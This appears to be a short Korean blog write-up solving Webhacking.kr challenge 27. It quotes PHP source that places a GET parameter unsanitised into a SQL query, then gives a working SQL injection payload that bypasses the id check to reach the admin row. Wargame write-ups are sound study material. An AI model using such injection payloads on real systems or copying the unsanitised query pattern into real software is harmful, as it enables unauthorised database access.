$q=@mysql_fetch_array(mysql_query("select id from challenge27_table where id='guest' and no=($_GET[no])")) or die("query error");
if($q[id]=="guest") echo("guest");
if($q[id]=="admin") @solve();
소스는 위와 같다.
32)+OR+no+like+1%20--%20
no
|
id
|
2
|
admin
|
1
|
guest
|
'Hacking > Webhacking.kr(스포주의)' 카테고리의 다른 글
Webhacking.kr 28 (0) | 2016.01.15 |
---|---|
Webhacking.kr 20 (0) | 2016.01.15 |
Webhacking.kr 56 (0) | 2016.01.15 |
Webhacking.kr 58 (0) | 2016.01.15 |
Webhacking.kr 43 (0) | 2016.01.15 |